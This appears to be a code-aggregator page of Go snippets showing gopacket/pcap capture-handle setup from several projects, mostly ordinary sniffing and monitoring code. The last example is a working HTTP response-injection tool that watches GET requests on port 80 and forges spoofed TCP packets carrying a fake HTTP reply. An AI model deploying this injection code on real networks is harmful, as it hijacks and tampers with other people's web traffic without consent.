Example #1
0
func tryCapture(iface net.Interface) error {
	if iface.Name[:2] == "lo" {
		return fmt.Errorf("skipping loopback")
	}
	var h *pcap.Handle
	var err error
	switch *mode {
	case "basic":
		h, err = pcap.OpenLive(iface.Name, 65536, false, time.Second*3)
		if err != nil {
			return fmt.Errorf("openlive: %v", err)
		}
		defer h.Close()
	case "filtered":
		h, err = pcap.OpenLive(iface.Name, 65536, false, time.Second*3)
		if err != nil {
			return fmt.Errorf("openlive: %v", err)
		}
		defer h.Close()
		if err := h.SetBPFFilter("port 80 or port 443"); err != nil {
			return fmt.Errorf("setbpf: %v", err)
		}
	case "timestamp":
		u, err := pcap.NewInactiveHandle(iface.Name)
		if err != nil {
			return err
		}
		defer u.CleanUp()
		if err = u.SetSnapLen(65536); err != nil {
			return err
		} else if err = u.SetPromisc(false); err != nil {
			return err
		} else if err = u.SetTimeout(time.Second * 3); err != nil {
			return err
		}
		sources := u.SupportedTimestamps()
		if len(sources) == 0 {
			return fmt.Errorf("no supported timestamp sources")
		} else if err := u.SetTimestampSource(sources[0]); err != nil {
			return fmt.Errorf("settimestampsource(%v): %v", sources[0], err)
		} else if h, err = u.Activate(); err != nil {
			return fmt.Errorf("could not activate: %v", err)
		}
		defer h.Close()
	default:
		panic("Invalid --mode: " + *mode)
	}
	go generatePackets()
	h.ReadPacketData() // Do one dummy read to clear any timeouts.
	data, ci, err := h.ReadPacketData()
	if err != nil {
		return fmt.Errorf("readpacketdata: %v", err)
	}
	log.Printf("Read packet, %v bytes, CI: %+v", len(data), ci)
	return nil
}
func main() {
	defer util.Run()()
	var handle *pcap.Handle
	var err error
	signal.Notify(sigs, syscall.SIGHUP)
	go startWebServer()
	go sighandler()
	flag.Parse()
	go printDebugInfo()
	if fname != "" {
		if handle, err = pcap.OpenOffline(fname); err != nil {
			log.Fatal("PCAP OpenOffline error:", err)
		}
	} else {
		// This is a little complicated because we want to allow all possible options
		// for creating the packet capture handle... instead of all this you can
		// just call pcap.OpenLive if you want a simple handle.
		inactive, err := pcap.NewInactiveHandle(iface)
		if err != nil {
			log.Fatal("could not create: %v", err)
		}
		defer inactive.CleanUp()
		if err = inactive.SetSnapLen(snaplen); err != nil {
			log.Fatal("could not set snap length: %v", err)
		} else if err = inactive.SetPromisc(true); err != nil {
			log.Fatal("could not set promisc mode: %v", err)
		} else if err = inactive.SetTimeout(time.Second); err != nil {
			log.Fatal("could not set timeout: %v", err)
		}
		if tstype != "" {
			if t, err := pcap.TimestampSourceFromString(tstype); err != nil {
				log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
			} else if err := inactive.SetTimestampSource(t); err != nil {
				log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
			}
		}
		if handle, err = inactive.Activate(); err != nil {
			log.Fatal("PCAP Activate error:", err)
		}
		defer handle.Close()
		if len(flag.Args()) > 0 {
			bpffilter := strings.Join(flag.Args(), " ")
			fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter)
			if err = handle.SetBPFFilter(bpffilter); err != nil {
				log.Fatal("BPF filter error:", err)
			}
		}
	}
	for {
		process(handle)
	}
}
Example #3
0
func main() {
	defer util.Run()()
	var handle *pcap.Handle
	var err error
	if *fname != "" {
		if handle, err = pcap.OpenOffline(*fname); err != nil {
			log.Fatal("PCAP OpenOffline error:", err)
		}
	} else {
		// This is a little complicated because we want to allow all possible options
		// for creating the packet capture handle... instead of all this you can
		// just call pcap.OpenLive if you want a simple handle.
		inactive, err := pcap.NewInactiveHandle(*iface)
		if err != nil {
			log.Fatal("could not create: %v", err)
		}
		defer inactive.CleanUp()
		if err = inactive.SetSnapLen(*snaplen); err != nil {
			log.Fatal("could not set snap length: %v", err)
		} else if err = inactive.SetPromisc(*promisc); err != nil {
			log.Fatal("could not set promisc mode: %v", err)
		} else if err = inactive.SetTimeout(time.Second); err != nil {
			log.Fatal("could not set timeout: %v", err)
		}
		if *tstype != "" {
			if t, err := pcap.TimestampSourceFromString(*tstype); err != nil {
				log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
			} else if err := inactive.SetTimestampSource(t); err != nil {
				log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
			}
		}
		if handle, err = inactive.Activate(); err != nil {
			log.Fatal("PCAP Activate error:", err)
		}
		defer handle.Close()
		if len(flag.Args()) > 0 {
			bpffilter := strings.Join(flag.Args(), " ")
			fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter)
			if err = handle.SetBPFFilter(bpffilter); err != nil {
				log.Fatal("BPF filter error:", err)
			}
		}
	}
	// https://github.com/google/gopacket/blob/master/dumpcommand/tcpdump.go
	dumpcommand.Run(handle)
}
Example #4
0
File: pcap.go Project: gnomix/weave
func newPcapIO(ifName string, promisc bool, snaplen int, bufSz int) (handle *PcapIO, err error) {
	inactive, err := pcap.NewInactiveHandle(ifName)
	if err != nil {
		return
	}
	defer inactive.CleanUp()
	if err = inactive.SetPromisc(promisc); err != nil {
		return
	}
	if err = inactive.SetSnapLen(snaplen); err != nil {
		return
	}
	if err = inactive.SetTimeout(MaxDuration); err != nil {
		return
	}
	if err = inactive.SetImmediateMode(true); err != nil {
		// If gopacket is compiled against an older pcap.h that
		// doesn't have pcap_set_immediate_mode, it supplies a dummy
		// definition that always returns PCAP_ERROR.  That becomes
		// "Generic error", which is not very helpful.  The real
		// pcap_set_immediate_mode never returns PCAP_ERROR, so this
		// turns it into a more informative message.
		if fmt.Sprint(err) == "Generic error" {
			err = fmt.Errorf("compiled against an old version of libpcap; please compile against libpcap-1.5.0 or later")
		}

		return
	}
	if err = inactive.SetBufferSize(bufSz); err != nil {
		return
	}
	active, err := inactive.Activate()
	if err != nil {
		return
	}
	if err = active.SetDirection(pcap.DirectionIn); err != nil {
		return
	}
	return &PcapIO{handle: active}, nil
}
Example #5
0
func getOpstream(cfg OpStreamSettings) (*packetHandlerContext, error) {
	if cfg.PacketBufSize < 1 {
		return nil, fmt.Errorf("invalid packet buffer size")
	}

	var pcapHandle *pcap.Handle
	var err error
	if len(cfg.PcapFile) > 0 {
		pcapHandle, err = pcap.OpenOffline(cfg.PcapFile)
		if err != nil {
			return nil, fmt.Errorf("error opening pcap file: %v", err)
		}
	} else if len(cfg.NetworkInterface) > 0 {
		inactive, err := pcap.NewInactiveHandle(cfg.NetworkInterface)
		if err != nil {
			return nil, fmt.Errorf("error creating a pcap handle: %v", err)
		}
		// This is safe; calling `Activate()` steals the underlying ptr.
		defer inactive.CleanUp()

		err = inactive.SetSnapLen(64 * 1024)
		if err != nil {
			return nil, fmt.Errorf("error setting snaplen on pcap handle: %v", err)
		}

		err = inactive.SetPromisc(false)
		if err != nil {
			return nil, fmt.Errorf("error setting promisc on pcap handle: %v", err)
		}

		err = inactive.SetTimeout(pcap.BlockForever)
		if err != nil {
			return nil, fmt.Errorf("error setting timeout on pcap handle: %v", err)
		}

		// CaptureBufSize is in KiB to match units on `tcpdump -B`.
		err = inactive.SetBufferSize(cfg.CaptureBufSize * 1024)
		if err != nil {
			return nil, fmt.Errorf("error setting buffer size on pcap handle: %v", err)
		}

		pcapHandle, err = inactive.Activate()
		if err != nil {
			return nil, fmt.Errorf("error listening to network interface: %v", err)
		}
	} else {
		return nil, fmt.Errorf("must specify either a pcap file or network interface to record from")
	}

	if len(cfg.Expression) > 0 {
		err = pcapHandle.SetBPFFilter(cfg.Expression)
		if err != nil {
			return nil, fmt.Errorf("error setting packet filter expression: %v", err)
		}
	}

	h := NewPacketHandler(pcapHandle)
	h.Verbose = userInfoLogger.isInVerbosity(DebugLow)

	toolDebugLogger.Logvf(Info, "Created packet buffer size %d", cfg.PacketBufSize)
	m := NewMongoOpStream(cfg.PacketBufSize)
	return &packetHandlerContext{h, m, pcapHandle}, nil
}
Example #6
0
func (d *MetroSniffer) Sniff() error {

	if d.pcapHandle == nil {

		log.Infof("starting capture on interface %q", d.Iface)

		if d.Iface != fileInterface {
			// Set up pcap packet capture
			inactive, err := pcap.NewInactiveHandle(d.Iface)
			if err != nil {
				log.Errorf("Unable to create inactive handle for %q", d.Iface)
				d.reporter.Stop()
				d.die(err)
				return err
			}
			defer inactive.CleanUp()

			inactive.SetSnapLen(d.Snaplen)
			inactive.SetPromisc(false)
			inactive.SetTimeout(time.Second)

			// TODO: Make the timestamp source selectable - Not all OS will allow that.
			//       call SupportedTimestamps() on handle to check what's available
			handle, err := inactive.Activate()
			if err != nil {
				log.Errorf("Unable to activate %q", d.Iface)
				d.reporter.Stop()
				d.die(err)
				return err
			}
			d.pcapHandle = handle
		} else {
			handle, err := pcap.OpenOffline(d.config.Pcap)
			if err != nil {
				log.Errorf("Unable to open pcap file %q", d.config.Pcap)
				d.reporter.Stop()
				d.die(err)
				return err
			}
			d.pcapHandle = handle
		}
	}

	ifaces, err := pcap.FindAllDevs()
	if err != nil {
		log.Criticalf("Error getting interface details: %s", err)
		panic(Exit{1})
	}

	ifaceFound := false
	ifaceDetails := make([]pcap.Interface, len(ifaces)-1)
	for i := range ifaces {
		if ifaces[i].Name == d.Iface {
			ifaceDetails[i] = ifaces[i]
			ifaceFound = true
		}
	}

	if !ifaceFound && d.Iface != fileInterface {
		log.Criticalf("Could not find interface details for: %s", d.Iface)
		panic(Exit{1})
	}

	// we need to identify if we're the source/destination
	for i := range ifaceDetails {
		for j := range ifaceDetails[i].Addresses {
			ipStr := ifaceDetails[i].Addresses[j].IP.String()
			if strings.Contains(ipStr, "::") {
				log.Infof("IPv6 currently unsupported ignoring: %s", ipStr)
			} else {
				d.hostIPs[ipStr] = true
			}
		}
	}

	for i := range d.config.Hosts {
		hostIPs, err := net.LookupHost(d.config.Hosts[i])
		if err != nil {
			log.Errorf("Error resolving name for: %s", d.config.Hosts[i])
			continue
		}
		for k := range hostIPs {
			d.config.Ips = append(d.config.Ips, hostIPs[k])
			d.nameLookup[hostIPs[k]] = d.config.Hosts[i]
			log.Infof("%s resolving to: %s", d.config.Hosts[i], hostIPs[k])
		}
	}

	hosts := make([]string, 0)
	for i := range d.config.Ips {
		hosts = append(hosts, fmt.Sprintf("host %s", d.config.Ips[i]))

		//add posible missing hostnames
		_, ok := d.nameLookup[d.config.Ips[i]]
		if !ok {
			hostnames, err := net.LookupAddr(d.config.Ips[i])
			if err != nil {
				log.Errorf("Problem looking up hostnames for: %s", d.config.Ips[i])
				continue
			}
			for j := range hostnames {
				d.nameLookup[d.config.Ips[i]] = hostnames[j]
				log.Infof("%s resolving to: %s", hostnames[j], d.config.Ips[i])
			}
		}
	}

	//let's make sure they haven't just whitelisted local ips/hosts
	localWhitelist := true
	for _, host := range d.config.Ips {
		_, local := d.hostIPs[host]
		if !local {
			localWhitelist = false
		}
	}
	if localWhitelist {
		err := errors.New("Whitelist cannot contain just local addresses! Bailing out")
		log.Errorf("%v : %v", err, hosts)
		d.reporter.Stop()
		d.die(err)
		return err
	}

	bpfFilter := ""
	if len(hosts) > 0 {
		bpfFilter = "(" + strings.Join(hosts, " or ") + ")"
	}

	d.Filter += " and not host 127.0.0.1"
	if len(hosts) > 0 {
		d.Filter += " and " + bpfFilter
	}

	log.Infof("Setting BPF filter: %s", d.Filter)
	if err := d.pcapHandle.SetBPFFilter(d.Filter); err != nil {
		log.Criticalf("error setting BPF filter: %s", err)
		panic(Exit{1})
	}

	log.Infof("reading in packets")
	if d.Iface == fileInterface {
		d.SniffOffline()
	} else {
		d.SniffLive()
	}

	for k := range d.flows.FlowMapKeyIterator() {
		flow, e := d.flows.Get(k)
		if e && flow.Sampled > 0 {
			if d.Soften {
				log.Infof("Flow %s\t w/ %d packets\tRTT:%6.2f ms", k, flow.Sampled, float64(int64(flow.SRTT)*int64(time.Nanosecond))/float64(time.Millisecond))
			} else {
				log.Infof("Flow %s\t w/ %d packets\tRTT:%6.2f ms", k, flow.Sampled, float64(flow.SRTT)*float64(time.Nanosecond)/float64(time.Millisecond))
			}
		}
	}

	//Shutdown reporter thread
	return d.reporter.Stop()
}
Example #7
0
func main() {
	defer util.Run()()
	var handle *pcap.Handle
	var err error
	if *fname != "" {
		if handle, err = pcap.OpenOffline(*fname); err != nil {
			log.Fatal("PCAP OpenOffline error:", err)
		}
	} else {
		// This is a little complicated because we want to allow all possible options
		// for creating the packet capture handle... instead of all this you can
		// just call pcap.OpenLive if you want a simple handle.
		inactive, err := pcap.NewInactiveHandle(*iface)
		if err != nil {
			log.Fatal("could not create: %v", err)
		}
		defer inactive.CleanUp()
		if err = inactive.SetSnapLen(*snaplen); err != nil {
			log.Fatal("could not set snap length: %v", err)
		} else if err = inactive.SetPromisc(*promisc); err != nil {
			log.Fatal("could not set promisc mode: %v", err)
		} else if err = inactive.SetTimeout(time.Second); err != nil {
			log.Fatal("could not set timeout: %v", err)
		}
		if *tstype != "" {
			if t, err := pcap.TimestampSourceFromString(*tstype); err != nil {
				log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
			} else if err := inactive.SetTimestampSource(t); err != nil {
				log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps())
			}
		}
		inactive.SetImmediateMode(true)
		if handle, err = inactive.Activate(); err != nil {
			log.Fatal("PCAP Activate error:", err)
		}
		defer handle.Close()
		if len(flag.Args()) > 0 {
			bpffilter := strings.Join(flag.Args(), " ")
			fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter)
			if err = handle.SetBPFFilter(bpffilter); err != nil {
				log.Fatal("BPF filter error:", err)
			}
		}
	}

	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	for packet := range packetSource.Packets() {
		if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil {
			if tcpLayer.(*layers.TCP).DstPort != 80 {
				continue
			}
			if tcpLayer.(*layers.TCP).SYN || tcpLayer.(*layers.TCP).RST {
				continue
			}
			data := string(tcpLayer.(*layers.TCP).LayerPayload())
			if !strings.HasPrefix(data, "GET") {
				continue
			}
			fmt.Println("I got GET packet!")
			ethLayer := packet.Layer(layers.LayerTypeEthernet)
			eth := layers.Ethernet{
				SrcMAC:       ethLayer.(*layers.Ethernet).DstMAC,
				DstMAC:       ethLayer.(*layers.Ethernet).SrcMAC,
				EthernetType: layers.EthernetTypeIPv4,
			}
			ipv4Layer := packet.Layer(layers.LayerTypeIPv4)
			ipv4 := layers.IPv4{
				Version:  ipv4Layer.(*layers.IPv4).Version,
				SrcIP:    ipv4Layer.(*layers.IPv4).DstIP,
				DstIP:    ipv4Layer.(*layers.IPv4).SrcIP,
				TTL:      77,
				Id:       ipv4Layer.(*layers.IPv4).Id,
				Protocol: layers.IPProtocolTCP,
			}
			tcp := layers.TCP{
				SrcPort: tcpLayer.(*layers.TCP).DstPort,
				DstPort: tcpLayer.(*layers.TCP).SrcPort,
				PSH:     true,
				ACK:     true,
				FIN:     true,
				Seq:     tcpLayer.(*layers.TCP).Ack,
				Ack:     tcpLayer.(*layers.TCP).Seq + uint32(len(data)),
				Window:  0,
			}
			tcp.SetNetworkLayerForChecksum(&ipv4)
			data =
				`HTTP/1.1 200 OK
Server: nginx
Date: Tue, 26 Jan 2016 13:09:19 GMT
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: no-store
Pragrma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Content-Length: 7

Stupid!`

			// Set up buffer and options for serialization.
			buf := gopacket.NewSerializeBuffer()
			opts := gopacket.SerializeOptions{
				FixLengths:       true,
				ComputeChecksums: true,
			}
			if err := gopacket.SerializeLayers(buf, opts, &eth, &ipv4, &tcp, gopacket.Payload([]byte(data))); err != nil {
				fmt.Println(err)
			}
			if err := handle.WritePacketData(buf.Bytes()); err != nil {
				fmt.Println(err)
			}
			fmt.Println("I sent Response-hijack packet!")
		}
	}
	// dumpcommand.Run(handle)
}